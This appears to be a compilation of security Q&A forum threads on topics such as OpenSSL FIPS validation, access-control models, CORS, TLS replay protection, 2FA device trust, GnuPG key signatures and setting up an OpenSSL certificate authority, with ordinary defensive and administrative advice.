FIPS compliant application based on OpenSSL Let's say I need to write a simple application for signing/checking some data. The hard part is, that it must be FIPS 140-2 compliant. I was thinking to do it using OpenSSL FIPS Object Module 2.0 but then I noticed the "I.G. 9.10 issue".

However, This document states that "The I.G. 9.5 issue has effectively precluded consideration of new validations for much of 2013, but with the July 25 2013 update of the Implementation Guidance (I.G.) document such validations appear to be feasible again.", so it's still unclear for me, if I can use OpenSSL FIPS Object Module 2.0 (#1747).

The question is: can I built an application based on OpenSSL FIPS Object Module 2.0 (#1747) and get it approved by CMVP? If no, what are possible alternatives to it?

Currently in order to get your OpenSSL module validated you have two options:
1) modify the OpenSSL code (or create some other mechanism/modification) to create a "Default Entry Point" (DEP) which ensures self-tests are run first, before allowing any other data output from any other function call.
2) have your lab submit the test report prior to Dec. 31, 2013 with a request for an exemption from 9.10.


How to stop password recovery attempts on accounts? I am using social networking services such as

My Banking
GMail
PayPal
Facebook
Twitter
Google+
LinkedIn

All of these services text messages me a six digit code to login from anywhere, even a device which is recognized from previous logins. I have had several major attempts of people resetting and trying to recover my password from these services. They have managed to change my passwords and cause some locked accounts, distress, and basically making my life harder.

If it wasn't for the 2-Factor Authentication, my accounts would be in so much trouble and I would be fighting with these companies to try to repair my public image. I have had at least 57 attempts, and successful hackings of my accounts, yet stopped when they get to the login code that is required.

Is there a way to prevent this from happening any further? I've already taken the best security steps which I can manage, such as:

Different long, complex passwords (A-Z, a-z, 0-9, and all special characters)
Different emails for each service
2 Factor Authentication with all services
Completely random security questions and answers without relating information back to myself

Is there anymore steps I can take into insuring my safety online?

The answer is that you cannot in most cases as it completely depends on the company that provides the services and whether they provide an option to disable password recovery by email. So you would have to check whether this option is available for each and every service.

While this may be annoying in your particular case in most cases it's beneficial and an easy and convenient way for the customers to recover their lost password without involving customer service. The latter is also a cost matter as maintaining an extensive customer service department is a huge cost driver for internet companies which they therefore try to avoid.

One service that I know where you can disable email password recovery selectively and completely is namecheap. But this also with the disclaimer that when you completely disable it you acknowledge that the process will take a significant amount of time (a few workdays) and that you have to provide proof by a physical ID to regain access to your account.

In your particular case I would really think about whether it's not worth to go through the annoying process of renewing/changing your digital identities like loginnames and email to get rid of these persistent attempts of taking over your existing id. While they may not disappear completely it should at least reduce it significantly as long as they cannot figure out your new id.


What is the difference between RBAC and DAC/ACL? What are the benefits of each, and when should I choose one over the other? Are there situations where these should be merged?

Do you have examples of common usages?

And what about MAC, where does that fit in?

RBAC (Role based access control) is based on defining a list of business roles, and adding each user in the system to one or more roles. Permissions and privileges are then granted to each role, and users receive them via their membership in the role (pretty much equivalent to a group). Applications will typically test the user for membership in a specific role, and grant or deny access based on that.
Discretionary Access Control (DAC) allows a user or administrator to define an Access Control List (ACL) on a specific resource (e.g. file, registry key, database table, OS object, etc), this List will contain entries (ACE) that define each user that has access to the resource, and what her privileges are for that resouce.

The main benefit of RBAC over DAC, is ease of management - in principle you have a very few roles, centrally administered, no matter how many users, and its just a question of granting each user the correct role; as opposed to DAC, where for each new user (or change in user, or deletion, etc), you have to go around to all the resources she needs access to and add them to the list.
On the other hand, DAC is often simpler, and generally more granular. Also, in the DAC model the data owner can decide who has access (if he has that permission on the data) and add or remove people from the list.

Very common example of DAC is the Windows file system. On the other hand, very common example of RBAC is the DAC on corporate file servers - anyone in the "Sales" ActiveDirectory group will have access to the \Sales\ shared folder.  More commonly is the Administrators group in Windows.

MAC is Mandatory Access Control, this can be seen as a classification or privacy level. This is most often used in military systems, and back in the Mainframe days :). Not so much used anymore, though current OS's are implementing a flavor of this, such as Vista/Win7's Integrity Levels.

To sum up the differences:

DAC is based on personal permissions, RBAC on "group"-level permissions
DAC is set by the data owner, RBAC by the system owner/s (usually the developer defines the access given to each role, and the operational admin puts users into roles)
DAC definitions are typically attached to the data/resource, whereas RBAC is usually defined in two places: in code/configuration/metadata (the roles access), and on the user object (or table - the roles each user has).
On the other hand, RBAC roles are centrally administered (who is associated with which roles), whereas DAC is administered "on the resource" (i.e. you administer each resource individually).
The definition of permissions per role is typically static in RBAC, and users are only granted roles; in DAC the permissions per resource are often changed at runtime.
DAC should be seen as enumerating "who has access to my data", and RBAC defines "what can this user do".


How to Audit an Email System I am working on an auditing process for my company's email system (Exchange 2010).  From this process, we're hoping to expand it out to other systems and start to clean up the rampant security issues we have (my place of employment neglected security for years and it's catching up to them).  Some of the issues we're experiencing are lack of baseline, privilege creep, poor/non-existent configuration, unnecessary ports, protocols, services, lack of timely patching... It goes on.

Anyhow, we are mostly concerned with the technical aspects.  Below is what I've covered already:

Reviewed installed software for necessity, contract support if necessary, EOL/outdated/unpatched software.
CIS, DISA, and Microsoft SCM baseline audits for OS and other installed software (part of our work here is to establish a hierarchy of what industry best practices we'll use)
Reviewed PPS for each machine to determine if PPS "makes sense" (one machine just happens to have firewall rules for all the Quake Arena ports).
I'm in the process of determining the breadth of users (internal, external, 3rd party vendor, contractors, etc).
Related policies like email retention/backup/storage and account management (SPOILERS: Slim to none).

I am reviewing NIST 800-53 and 800-137, Assess and Monitor documents, and just recently found NIST 800-45 that looks promising.

The ultimate goal is to assign a risk value to the system and the vulnerabilities, then use the process to branch out to other systems. Do you see any major holes in my approach?

Before you start auditing the security controls around this email system, and recommending any changes that would enhance security, it would be helpful to take a step back and assess the risk through a risk assessment. Some questions to help guide you:

  What is the "business value" of the data stored within this email
  system?

Take into consideration permitted data loss (RPO) and maximum allowable downtime (RTO)

  What is security classification / labeling of the data stored within this email system? Is it considered confidential / sensitive?

The more sensitive the application data is, the tighter you would want controls surround the application to be. While its important to consider threats and associated vulnerabilities that together constitute a risk broadly, in this instance, I would suggest you focus on the security controls that mitigate risks to Confidentiality and Integrity.

Confidentiality should be a top priority as the email can contain sensitive data, such as upcoming business plans, or forecasts as well as personal information on customers / employees. The disclosure of this data to unauthorized parties can result in lost competitive advantage, legal fines etc.

Integrity is important, as in order for information to be trusted, you would want to ensure that the information was not modified from when it was sent to when it was received. Depending on the sensitivity classification of emails, you may also want to digitally sign the email so that the sender of the email can be traced, and any message tampering detected.

  What can happen if the threats to this email system is realized? - Impact

If you have the data available, you can quantify your risk assessment in terms of numerical loss. If such data is not available, you can qualitatively state potential adverse outcomes such as loss of confidential data could lead to damaged reputation, legal fines...etc.

As to the specific set of procedures you listed, they are a good start but I would add the following to that list:

Review safeguards against specific attack vectors that often exploit email such as phishing / spear phishing / whaling
Review acceptable use policies concerning email and in place, (if any)safeguards against data leakage such as a DLP solution.

Email is one of the primary methods through which attacks that can result in data compromise such as the variants of phishing I listed are spread.

With regards to point 2, data exfiltration is a serious risk that can have severe impacts to your organization. For example, corporate email containing sensitive communications can be forwarded by an unwary employee to a personal email account, or be copied to an USB stick and carried outside the company where company IT lose all control over how the emails may be used and / or distributed.


How secure is "Firefox Hello"? The new "Firefox Hello" feature promises easy and safe video conversation. It is not nescessary to create an account, you simply share a link with your partner to start the conversation. The communication is promised to be "private and secure" on this site, but it doesn't actually go in-depth about the techniques that are used. The homepage of webRTC also isn't very informative, as well as their FAQ.

How secure is Firefox Hello? Does it use end-to-end encryption? Does it store Metadata on servers? Could Mozilla decrypt my communication, if requested by law enforcement?

WebRTC is a P2P technology and performs encryption end-to-end by default.

No metadata on Mozilla's servers. Per session encryption, so Mozilla cannot decrypt.

There may be some vulnerabilities with the technology (i.e. there are), but the design is supposed to address your questions on an architectural level.


Website doesn’t always log me out – Privacy concern or am I overreacting? I’ve been applying to for some jobs and use one certain careers page somewhat regularly.  I’ve started to notice that I don’t always get logged out even if I do click “log out” and see a message that says I have successfully logged out.  After I log out, clicking the button that is supposed to take me to the login page sometimes takes me right back into my account where I can view all my account information or modify and save details, or even delete the account.  The log-off does work maybe 75% of the time but the other 25% it doesn’t, and that always seems to happen after I get an error about my SSO token when logging in.  So I believe it’s related, I’m not sure how though.

Video uploaded here:
https://www.youtube.com/watch?v=h7zZtHBWZsQ

I brought it up with their IT department.  Their response was that they do not support individual computers and the different configurations that users may have, and it is most likely a problem with my computer or web browser configuration.  Not that my configuration is that unusual (Up to date Chrome with no extensions on a Windows 7 desktop and laptop, and Firefox 22 on another Windows 7 desktop).  The computer running Firefox is behind a corporate proxy and they said the proxy is probably causing the issues with logging out.  Again I was told that they are not in the business of supporting users’ individual PCs so they can’t do much to fix how it behaves with proxies, and I should find a computer where the log-off works correctly.

Are my expectations for security privacy simply too high?  A functional log out seems like a simple, basic expectation.  If their website is so fragile that proxies or certain browsers have issues with fundamental things such as logging out, I am concerned that somebody who knows what they are doing could really do a lot of damage.  Do I have legitimate concerns or is this nothing out of the ordinary?

You are absolutely right that the website should not behave like this. I'd say this particular issue is fairly low risk. But it makes me wonder: if they have this problem, what other problems do they have? More serious problems like SQL injection could allow an attacker to steal all the users' data.

The response from their support department is not satisfactory. However, I've found that to be a very widespread problem - even with some services I'm generally happy doing business with.

How much of a problem does this present you? I presume you are trusting the site with some personal data, but how much? How would a breach impact on you? With recruitment site, people often worry about their current employer finding out they are on the site. I would usually think it unlikely that your boss would mount a hacking attack on a site to see if any of the team are using it. It's far more likely to be an organised cyber crime gang hoping to use the data for financial gain.

There are some practical steps you can take to defend yourself, such as using a single-purpose email address that you've created only to use with that site. Ultimately you need to decide if the security risks outweigh the benefits to you of being on the site.


Are there advisories on how actually to use a password safe? I sense an overall push towards password safes (cloud/local).
Now that people tend to use more and more those technologies I looked for best practices or formal advisories on password safes but did not find anything valuable.

Is there anything published about that? I mean more recommendations than "use a secure master password and do not lose it".

My password safe for instance allows me to use my windows logon as a means of authentication. It also can lock itself after a certain amount of inactivity or when you log-off from your machine, your screen-saver starts, etc. All those features trade security with comfort.

If I have a ~40 char password and decrypting the database takes 2 seconds I might get annoyed by doing this 10 times a day.

KeePass for instance suggest that you encrypt the password file multiple times to increase the work time, but a normal user switching to a password safe won't probably understand the impact of that. Even if such a user would google that he or she would still need to differentiate between hashing something multiple times and encrypting it, etc.

Password safes should be used like security vaults, meaning that they should not rely on any other layer for authentication or protection.  So using AD to access them is not advised.  What if your AD credential is compromised?  Other than that, here are my guidelines:

Use a safe that is either known open source or from a reputable, known vendor
Use a pass phrase for authentication that is used nowhere else
Be sure the encryption is applied to the entire safe file, and that it is at least AES 256
Avoid cloud safes if possible (where the safe is provided as a cloud service, even if encrypted with a key they generate for you).  There is too much risk with these new services.  But it's ok to store your key file in the cloud as long as your client software encrypts/decrypts it (this is why Apple keychain is ok too)
If you're trying to do this for multiple users in an enterprise (for root/admin passwords, for example), use an enterprise vault solution like Cyber Ark, not password safe software;  Then also be sure to enable the multi-factor authentication that they all provide (to avoid the AD compromise issue above).


How can the Same Origin Policy protect the user in times of CORS headers? How can the Same origin policy protect something if you can bypass it via Cross Origin Resource Sharing headers? And why are those assigned by the server which is tried to access and not by the user?

Where is the risk of a Cross Origin Resource Request?

CORS is a way to deliberately and controllably punch holes in a site's own protections, specifically in the protections provided by the same-origin policy (SOP). You can only abuse CORS to attack another site if the other site has lowered its defenses too far.

I'm going to lay out some scenarios that may help you understand. Assume, for these scenarios, that there are adequate protections against CSRF and no XSS vectors or other conventional cross-site attacks possible.

Site V is a valuable target. That is, it's a web application that users sign into, and it holds access to valuable data or is otherwise something people would like to compromise the users of.

Site P is a trustworthy partner of site V. It needs access to some data from the user's session on V, but it is run by a party that V's owners trust.

Site M is a malicious website. Its purpose is to lure users who are currently signed into site V, and try to compromise their sessions.

User U is currently logged into site V, but also visiting site M. They are using a typical web browser, which supports SOP but also CORS.

Scenario 1: No CORS in use. Site M can make U's browser send all the requests it wants to site V (although non-simple requests get no further than the CORS preflight), but site V doesn't send back and CORS headers. Because of the SOP, the browser drops the responses to these requests, and M can't see anything. On the other hand, site P can't either.

Scenario 2: Overly permissive CORS. Site V's administrator has foolishly set up their site to return Access-Control-Allow-Credentials: true and Access-Control-Allow-Origin: <X> for any Origin: <X> in an incoming request. In other words, site V allows authenticated CORS requests from any origin. This allows site P to retrieve data from V, but it also allows every other site to do so as well; in effect, site V has turned off the protections it would normally get from SOP. Site M causes U's browser to send authenticated CORS requests to V, V responds including the CORS ACAO and ACAC headers mentioned above, and site M steals all of U's data out of V.

Scenario 3: Securely-configured CORS. Site V's administrator wants site P to be able to see data from site V, but no other site. Thus, incoming requests specifying Origin: P receive CORS headers that allow access (Access-Control-Allow-Origin: P and Access-Control-Allow-Credentials: true), and site P is allowed to make CORS requests to V and retrieve data. However, requests originating from all other sites receive no CORS headers in response at all, or perhaps just always receive Access-Control-Allow-Origin: P which doesn't do the request-initiating sites any good because they aren't site P. Thus, site M's attempt to read data out of V is again blocked by SOP.


Are SSL encrypted requests vulnerable to Replay Attacks? Are SSL encrypted requests vulnerable to Replay Attacks? If so, what are good options to prevent this?

The SSL/TLS channel itself is protected against replay attacks using the MAC (Message Authentication Code), computed using the MAC secret and the sequence number. (The MAC mechanism is what ensures the TLS communication integrity). See TLS 1.1 specification Appendix F.2:

  To prevent message replay or modification attacks, the MAC is computed
  from the MAC secret, the sequence number, the message length, the
  message contents, and two fixed character strings.

EDIT: As @CodesInChaos points out, the handshake must also be taken into account, otherwise the whole TLS connection could be replayed (not just some records, which is what the MAC and sequence number would protect against). If an attacker replayed the same Client Hello message, the server would return a Server Hello with a different server random value thereby altering the rest of the key exchange. In addition, in RSA key exchange mode, only the initial legitimate client would know the pre master secret it has encrypted; in DHE key exchange mode, the client and server randoms are signed together in the server key exchange message (hence the importance of good random numbers there too). (There's a bit more on these two modes in this question.)

It's not clear from your question what you're trying to protect against replay attacks. Typically, this would be a message sent above the SSL/TLS layer, used by your application.

The encryption provided by SSL/TLS certainly prevents an eavesdropper from seeing that application request, and thus from replaying it with their own separate SSL/TLS connection.

However, SSL/TLS on its own doesn't necessarily prevent the legitimate initial user from replaying a request. Protocols and applications that require this additional level of protection tend to have nonce-based mechanisms at the application level to address this problem (which is rather independent of SSL/TLS, although preventing eavesdropping helps).


Random URL string: What kind of attack is this, and what can be done to stop it? EDIT:

It's been a little while since this was posted, but I'm here to report that this does NOT appear to have been some sort of attack after all.

Rather, this particular URL string indicates a cookieless session.

It seems that this was nothing more than one (or multiple) of our users hitting our site with cookies disabled, and our app wasn't set up to properly handle this being inserted into the URL string.

I suppose it is still possible that someone was trying to manipulate this effect (the timestamps and frequency were of interest), but I believe this was more likely a case of us jumping on the "we're being attacked!" train a bit too early. It was surprisingly difficult to find information on this!

Ultimately, we figured this out when I encountered this exact URL pattern in our (isolated) test environment and decided to do some additional research on the issue.

Thanks everyone for your help with this, and sorry for any confusion! I'm leaving the initial question intact to avoid invalidating the answers that are already present.

Original Text:

I work for a company that has a public facing website for our customers. In the past several weeks, we have been seeing a series of log entries that look like this:

The controller for path '/(x(1)s(mpwcjessdyhikng0a1kyud1z))/' was not found or does not implement IController.

These entries are typically about 1 second apart and always start with x(1)s followed by a random string of characters, followed by various paths to different pages, especially /account or /account/recoverpasswordrequest/. This tends to go on for 10-30 minutes, and then we don't typically see it again until the next day, although it does happen pretty much every day.

We've blacklisted several IPs that this has happened from, but this person(s) is obviously using many different IPs to run whatever script is doing this.

Can anyone help me understand what is going on here, especially with what x(1)s is, or what kind of information this person might be trying to obtain? The attack happens to be failing because we don't have a randomly named controller that will accept this information, but it would be wonderful to be able to put a stop to this or at least have a better understanding of what's happening.

EDIT: This "request" always follows the same (x(1)s(random)) pattern. There are 3 URLs primarily being hit:

The controller for path '/(x(1)s(31k5il1as0vxxnbfnnsrzm3b))/' was not found or does not implement IController.
The controller for path '/(x(1)s(31k5il1as0vxxnbfnnsrzm3b))/account/register' was not found or does not implement IController.
The controller for path '/(x(1)s(31k5il1as0vxxnbfnnsrzm3b))/account/recoverpasswordrequest' was not found or does not implement IController.

The full URL would be: https://example.com/(these requests)

The site uses MVC, so these particular error messages are due to us not having a controller named (x(1)s(blah)) that this URL can resolve to. The log entries show the same random string being used for all 3 URLs, then a new random string is generated and the same pattern is tried again.

These log entries are from this request failing and causing an exception in our application logic. Therefore, they are bypassing the firewall and actually failing inside our code.

This pattern look for me like fuzz logic/testing.
The reason can be to fingerprint your infrastructure
and/or
Get/find any bug in your web software which can be explited further
and/or
Find nonsecured resources in web site for stealing some internal/customer info.
The usage of fuzz logic also seems to be for search for valid path in the web site/app(s)
P.S. Of course this above is worst case scenario, but in security IMHO this is the way to get good evaluation of particular issue


How to remember a trusted machine using two factor authentication (like Google's system) We are developing a web application that will use two factor authentication. We are likely to try and emulate something similar to that used by google, where to login you enter a username and password, and then receive a token in an SMS message to be entered as well.

We would like to allow users to remember a client machine if they would like to so that they can login for 30 days without requiring the second authentication method. What information will we have access to (through headers of the web page requests etc.) which we can use to uniquely identify this trusted client machine?

Obviously a user can have more than one trusted client machine, and I completely expect that if they use two different browsers on the same trusted machine machine, each browser will have to be trusted independently.

Setting a cookie on the machine with some GUID which means this is trusted simply would not be good enough, as someone else could just copy the cookie, and create it on their own browser circumventing the two factor authentication.

I don't think that it is entirely possible with just JavaScript/PHP (or some other server side language) to uniquely imprint/identify a computer.

Remember, whatever you do, someone with malicious intent can just copy the Chrome/Firefox user data directory to a similar system (same OS, etc). Indeed, that's the easiest thing to do, since you don't have to hunt for the cookies. JavaScript can't read anything outside these directories, so they have just duplicated the system.

However, you can use Flash/JavaScript to fingerprint the browser. Unfortunately, the browser fingerprint can change if the user installs fonts/etc. Besides, your users will have to allow the Flash/JavaScript to run -- nowadays quite a few people are disabling JavaScript due to the recent 0 Day exploit. You don't want to force your users to have to use these. Anyway, one can easily replicate a fingerprint by replicating the system (which takes time, but isn't too hard).

In the end, two factor auth is all about (a) having a password, and (b) having physical access to a device. If you are giving someone unsupervised access to your computer while logged in as you, part (b) is compromised anyway, in a different manner.

To answer your question, though:

You can put a unique GUID in a cookie
You can put another GUID in localStorage
You can associate part of the browser User-Agent request header with the account. For example, my User Agent is User-Agent:Mozilla/5.0 (X11; Linux i686) AppleWebKit/536.11 (KHTML, like Gecko) Ubuntu/12.04 Chromium/20.0.1132.47 Chrome/20.0.1132.47 Safari/536.11. From here, you can extract my browser name (which won't change), OS name and version (which will change occasionally), whether or not my computer is 32 bit, etc.
navigator.plugins -- This is an array of all the plugins installed on the browser. Maybe not a good idea for 2 factor authentication, though, since this changes often.

Note that all of these can be easily spoofed. It's just extra hoops for a would-be hacker to jump through.

Again, you can try using fingerprinting techniques that deal with reading the list of installed fonts, etc. Again, this can be circumvented, but it's much harder. You can also use JavaScript to store cookie-like files in random places on the computer (not sure if that's a good idea)

Edit: As Joel mentions in the comments, you should also have a way of revoking "trusted computers" (simply dissociate the GUID in your database). And this should apply when the password is changed as well.


Remote vs local exploits Would a remote exploit such as ETERNALBLUE work on any target computer over the internet if you targeted the right ip or does it have to be on the same network and what would be examples of a local exploit and a remote (Like is the remote only over a network close to you in your range, while with local you have to have some type of access with the computer?)

Remote exploits are exploits that you can run on an external machine. Local exploits are exploits that you can run only with access to the machine (f.e. Privilege Escalations).

A remote exploit may be on a host inside an intranet, accessible only by few people, but also inside the internet, accessible by everyone.


Impact of Quantum Computers, other than new algorithms When large scale quantum computers come along, algorithms based off of the new principles will have an impact on how we encrypt data, with Shor's algorithm rendering RSA vulnerable and Grover's algorithm halving the effective keysizes for AES.

What I'm wondering is how having an actual quantum computer will affect the computation thereafter.

Using Grover's algorithm, AES-256 will be rendered as secure as AES-128 is today. But will a quantum computer be able to search that new space substantially quicker too? As such, would we need to more than double keysizes as a defence?

The thing with quantum computing is that we don't know yet.

A few thoughts:

If we do ever achieve a true quantum computer, it is likely to be significantly faster than classical computers, when speed is measured in a similar way.
If it is going to be faster, we don't know how much faster until we build one. Current prototypes are far from complete, and even "landmark" demonstrations of the technology are questionable.
Quantum computing offers a potential short-cut for certain operations, in that it can use various forms of quantum mechanics trickery to produce previously "unknowable" results out of input values.
However, quantum results are probabilistic; it's not actually as concrete as saying "it's fast", because you have to make it fast and right. Not easy to do.
If you can find a quantum short-cut to a problem, and build a quantum computer, and implement that short-cut within the computer, and find a way to get it the result with p>0.5, you're on track.
The big "potential" is for Shor's algorithm, which might reduce the computational complexity of semiprime factoring to a low enough class for us to feasibly factor very large numbers in a shorter time than with classical algorithms.
It's a big "if". We don't know if it'll actually reduce computational complexity, nor do we know if an efficient implementation is possible. Even if we can achieve both of those, we don't know how much of a reduction in complexity we will get. The hope is that we'll get  O((log N)3), but we don't actually know if we can ever reach that in a real implementation. And even if that is the case, it still requires massive amount of computation, which brings us back to the second point I made: we don't know how fast quantum computers can really be.
Even we break semiprime factoring problems like RSA, quantum crypto brings new problems that can't be solved easily, which means we'll still have a new way to keep things secure.


Is it safe to save a user's email into php session variable for later use? I'm in the process of creating a password reset functionality for my project. I currently have my website send a password reset link to the user's email if they request it and validates the link properly when clicked (checks for selector and validator tokens and not expired) before displaying the form to create a new password. The problem I'm having is finding a way to updating the correct user's password in the database once they submit the new password. One method I have thought of to achieving this, is to get the email associated with the matched selector and validator tokens in my password reset database table and storing it into a session variable so it can be accessed by another php file to update that user's password in my users database table. I'm wondering if this approach has any security risks to the user or is it a valid method?

Create a table for reset tokens, with username, email, token and expiration time.

When the user submits the form, submit back the token. Look on the table and get the correct email, and delete/invalidate the record.


Encryption - should I be using RSA or AES? My model is one where I have several clients which wish to speak with some (but not all) of the other clients.

All messages will be sent through a server.

Only the two clients communicating with each other should be able to know the message. So the server AND the other clients should not be able to work out what message was sent.

Communication between two clients may start and end several times a day.

Messages will be plaintext with potentially unlimited length, but likely to be much less, think SMS style messages.

Given these circumstances, how should I encrypt the messages? I don't mind writing extra code if it leads to better speed or efficiency.

I know the rough basics of how RSA and AES work but I can't figure out what is best.

When you generate a public/private key pair for RSA, is there any situation where you would need to generate a new pair? Or can one client have one public key and give the same key to anyone that wants to talk to him and only him be able to (ever) read the messages, but they store the public key for all future messages?

Or should I have a separate symmetric AES key for pair of clients and simply share that when contact is first initiated and use that forever. Again, is there any circumstance where this would need to be generated again?

How would I store the key(s) so they persist if client crashes/shutsdown/reboots?

Neither, unless it's both. You're asking the wrong question. You should not be thinking about a cryptographic algorithm at this stage, but about a cryptographic protocol.

Cryptographic protocols are hard to design, and a frequent source of security bugs. You don't fully understand public-key cryptography, so you aren't ready to use it in your own cryptographic protocol.

At a high level, your model is amenable to public-key cryptography (e.g. RSA). Let every client have its own private key and publish its public key to the other client. A client's private key does not change over time, unless the client has been compromised. Symmetric cryptography (e.g. AES) would not scale well here because each pair of clients would need to have its own secret key.

Use existing software whenever possible. Implementing cryptographic protocols is almost as tricky as designing them. For a model where clients occasionally send messages to one another, email-style, a tool that would work well is GnuPG. (For bidirectional communications, use SSL/TLS.)

So: for day-to-day operation, to send a message, call gpg, encrypt with the public key of the recipient, and while you're at it sign with the private key of the sender. When receiving a message, check the signature against the purported sender's public key, and decrypt with the private key of the receiver. In other words, send with gpg --sign --encrypt -r NAME_OF_RECIPIENT  and receive with gpg --verify followed by gpg --decrypt.

The remaining problem is that of key distribution. After a client has generated its key pair, it needs to inform the other clients about it and distribute it without allowing the public key to be intercepted and replaced in transit by an attacker. How to do this depends a lot of your precise scenario. Don't neglect the security of this part.

If, and only if, invoking GnuPG proves to be too slow, then consider using a lighter-weight, perhaps home-made implementation of a similar protocol (going from e-mail range overhead to SMS range overhead). Under the hood, GnuPG generates a symmetric key for each message, because public-key cryptography is expensive for large messages; the public key algorithm is only used to encrypt the symmetric key and to sign a digest of the file. You should follow this model. Using AES for symmetric encryption, SHA-256 as the digest algorithm and RSA as the public key algorithm is a good choice.


Why is Debian not showing the GPG signatures on keys that Arch Linux is? I downloaded a Qubes OS ISO and I'm trying to verify its legitimacy using this guide. GPG was behaving weirdly, so I created a separate user with a separate keyring to reproduce the issue.

When I try to verify the key on my Debian system, the signature on the release signing key is not there:

$ gpg --fetch-keys https://keys.qubes-os.org/keys/qubes-master-signing-key.asc
gpg: directory '/home/test/.gnupg' created
gpg: keybox '/home/test/.gnupg/pubring.kbx' created
gpg: requesting key from 'https://keys.qubes-os.org/keys/qubes-master-signing-key.asc'
gpg: /home/test/.gnupg/trustdb.gpg: trustdb created
gpg: key DDFA1A3E36879494: public key "Qubes Master Signing Key" imported
gpg: Total number processed: 1
gpg:               imported: 1
$ gpg --fetch-keys https://keys.qubes-os.org/keys/qubes-release-4-signing-key.asc
gpg: requesting key from 'https://keys.qubes-os.org/keys/qubes-release-4-signing-key.asc'
gpg: key 1848792F9E2795E9: public key "Qubes OS Release 4 Signing Key" imported
gpg: Total number processed: 1
gpg:               imported: 1
$ gpg --list-sigs "Qubes OS"
pub   rsa4096 2017-03-06 [SC]
      5817A43B283DE5A9181A522E1848792F9E2795E9
uid           [ unknown] Qubes OS Release 4 Signing Key
sig 3        1848792F9E2795E9 2017-03-06  Qubes OS Release 4 Signing Key
$

I expected another line with a signature from the master key, such as

sig          DDFA1A3E36879494 2017-03-08  Qubes Master Signing Key

Surprised, I decided to check on another system. This one is running Arch Linux. I trust it less than the Debian system. Perplexingly, the signature does show up — the output is just as above, but with the added signature line.

The GPG version is 2.2.17 on both machines.

What could be causing this discrepancy?

The root cause here is that

  the GnuPG developers broke gpg completely in a panic reaction

  -- @knoblauchkeks on Twitter

As explained in the release notes for GnuPG 2.2.17,

  Ignore all key-signatures received from keyservers.  This
      change is required to mitigate a DoS due to keys flooded with
      faked key-signatures.  The old behaviour can be achieved by adding

keyserver-options no-self-sigs-only,no-import-clean

  to your gpg.conf.  [#4607]

Adding this line to my (previously non-existent) ~/.gnupg/gpg.conf and re-fetching the release key fixed the issue.

This does not happen on Arch Linux because the maintainers decided to revert the commit that introduced this behavior, which can be seen in the build scripts for the package:

prepare() {
    # ...
    patch -R -p1 -i ../self-sigs-only.patch
}

I reported this issue to Qubes, suggesting the documentation be modified to account for this in some way.


Acceptable secure solution to replace static IP addresses for a web application I am currently working as a technical lead on a project at a financial institution and have a question about how to provide the same level of security expected by the business in an application we are preparing for them.

The legacy system today allows payment operators at a terminal window to interact with an AIX and mainframe system.  The replacement system my team will provide will be a more modern "scale-out" distributed system to replace the mainframe.  The software is mostly vendor supplied with ancillary and supporting software components being developed in house.

The operators have the ability to move large sums of money so there are a number of security constraints placed on them today.  They are not allowed to VPN into the company network from outside, we can't guarantee the security of the workstation they tunneled into our network, and if they were on a public computer somebody could feasibly use low-tech methods to look over their should and jot down account numbers and such.  Furthermore each of their workstations are assigned a static IP address within the internal network (Local or Router set, not sure which) so that they can only ever perform their job tasks on their secure provided workstations.  I imagine there are firewall rules that whitelist their IP address to the legacy system.

It was brought up that they want a similar level of requirements for the new system which for the operators will be entirely web based (Locked down Browser -> Load Balancer -> Firewall -> Web Server Reverse Proxy -> Firewall -> Application server -> Firewall -> Database).  They seem to believe that static IP addresses should give them identical security here but I am not so sure.

IP addresses can be spoofed rather easily and with the stateless nature of HTTP but then I imagine the firewall is looking at the IP protocol level to decide who it lets through.  What I am unsure about is how easy it would be to spoof this, for instance if I happened to compromise the password of an operator and I was inside the intranet, is it possible for me forge my IP address to an accepted workstation IP address for that user id?

Even if this kind of IP spoofing is unlikely, are there viable alternatives that can be equally as secure (or more so) and perhaps a little more easy for managers to maintain new and leaving members of the team?

NOTE: I am not sanctioning IP based authentication, simply that IP authentication is the first pass, then the application will challenge for username and password.

While you are upgrading the system, you don't want to build the same level of security, but rather, a better level of security. You want to do real authentication, not just IP restrictions.

This can be done by, for example, using hardware security module installed in the workstation. The HSM uses Public Key Authorization to authenticate the machine to the network. Using a VPN (SSL/SSH/IPSec) from the workstation to a gateway machine(s), you form a secure VLAN over the semi secure internal network. The VLAN contains only the systems that are permitted to be accessed from the workstation. Using VLAN, you can control which workstations can connect to which gateway for the secure systems. On top of this, the user can authenticate themselves to the systems they need to access, using traditional username/password and/or hardware token.

IP authentication is for the most part redundant here. The only advantage IP Authentication has over VPN is that IP Authentication is much cheaper to enforce in case of volumetric attack against the gateway. In networks that involves public internet, you always have a risk of volumetric attacks; but in an internal system with mostly semi trusted users, this is usually not something you need to worry about, so I generally would not bother implementing IP auth unless I believe a volumetric attack is a credible attack scenario.


Sign SSL certificate with root certificate using openssl I have created a root certificate, My Root Certificate, with a private key, RSA Private Key 1, using the openssl terminal command.

I would like to make a certificate chain such as the following:

My Root Certificate
example.com, signed with RSA Private Key 1

How could I make this certificate chain with the openssl terminal command?

First, create the directories to hold the CA certificate and related files:
sudo mkdir /etc/ssl/CA
sudo mkdir /etc/ssl/newcerts

The CA needs a few additional files to operate, one to keep track of the last serial number used by the CA, each certificate must have a unique serial number, and another file to record which certificates have been issued:
sudo sh -c "echo '01' > /etc/ssl/CA/serial"
sudo touch /etc/ssl/CA/index.txt

The third file is a CA configuration file. Though not strictly necessary, it is very convenient when issuing multiple certificates. Edit /etc/ssl/openssl.cnf, and in the [ CA_default ] change:
 dir             = /etc/ssl/             # Where everything is kept
 database        = $dir/CA/index.txt     # database index file.
 certificate     = $dir/certs/cacert.pem # The CA certificate
 serial          = $dir/CA/serial        # The current serial number
 private_key     = $dir/private/cakey.pem# The private key

Next, create the self-singed root certificate:
openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650

You will then be asked to enter the details about the certificate.

Now install the root certificate and key:
sudo mv cakey.pem /etc/ssl/private/
sudo mv cacert.pem /etc/ssl/certs/

You are now ready to start signing certificates. The first item needed is a Certificate Signing Request (CSR), see Generating a Certificate Signing Request (CSR) for details.
Once you have a CSR, enter the following to generate a certificate signed by the CA:
sudo openssl ca -in server.csr -config /etc/ssl/openssl.cnf

After entering the password for the CA key, you will be prompted to sign the certificate, and again to commit the new certificate. You should then see a somewhat large amount of output related to the certificate creation.

There should now be a new file, /etc/ssl/newcerts/01.pem, containing the same output. Copy and paste everything beginning with the line
-----BEGIN CERTIFICATE-----
and continuing through the line
----END CERTIFICATE-----
